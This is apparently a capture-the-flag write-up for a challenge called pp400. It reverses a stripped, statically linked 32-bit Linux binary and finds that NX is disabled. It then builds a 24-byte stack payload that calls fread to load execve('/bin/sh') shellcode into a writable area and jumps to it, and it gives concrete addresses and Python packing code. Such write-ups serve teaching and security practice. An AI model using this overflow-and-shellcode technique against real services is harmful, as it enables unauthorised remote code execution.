As usual, I checked the file first.
$ file pp400_804703cc7f7d5d3f54ba pp400_804703cc7f7d5d3f54ba: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped $ objdump -s -j .comment pp400_804703cc7f7d5d3f54ba pp400_804703cc7f7d5d3f54ba: file format elf32-i386 Contents of section .comment: 0000 4743433a 2028474e 55292034 2e362e30 GCC: (GNU) 4.6.0 0010 20323031 31303530 39202852 65642048 20110509 (Red H 0020 61742034 2e362e30 2d372900 4743433a at 4.6.0-7).GCC: 0030 2028474e 55292034 2e362e30 20323031 (GNU) 4.6.0 201 0040 31303230 35202852 65642048 61742034 10205 (Red Hat 4 0050 2e362e30 2d302e36 2900 .6.0-0.6).
The binary in this challenge is statically linked and stripped. It means all libc functions are included in the binary and symbol names are stripped. From the comment section, the binary is supposed to be compiled on Fedora 15. I tried to create IDA sig file from "libc.a" but no function name is resolved. So I have to reverse code manually.
My trick for reversing code on this challenge is starting from "/dev/urandom". The function that passed "/dev/urandom" as first argument should be "open". If we follow the assembly code in "open" function, we will see setting SYS_OPEN to eax then jump to "__unified_syscall" (See my pCTF - Another Samll Bug writeup). So we can recover many libc function names that setting eax to syscall number.
The left libc functions are not difficult to guess if we know function arguments and what syscall to be called inside the function. The code I get is same as LeetMore's writeup but they use better variable name than me (so read their code).
From the code, program copies client data to saved eip address but there is a limit. Before thinking how to make payload small, I checked the enabled security feature in the binary.
$ checksec.sh --file pp400_804703cc7f7d5d3f54ba RELRO STACK CANARY NX PIE FILE No RELRO No canary found NX disabled No PIE pp400_804703cc7f7d5d3f54ba
NX is disabled. So I do not need to do full ROP, just put the code to read the shellcode to some static rwx area (with "fread") then jump to it. Also we can see from the code that stdin and stderr are the connected socket, so we just need the execve("/bin/sh") shellcode.
fread_addr = 0x08048c60 stdin_addr = 0x0804a31c wx_addr = 0x0804a480 payload = pack("<I", fread_addr) # jump to fread payload += pack("<I", wx_addr) # jump to shellcode payload += pack("<IIII", wx_addr, 1, len(sc), stdin_addr) # fread arguments
It requires only 24 bytes. But when I got the shell, I could use only builtin commands, no "id, cat, ls, ..." (I hope I did not make a mistake again). So I wrote the shellcode to read key file. Here is the full python code pp400.py.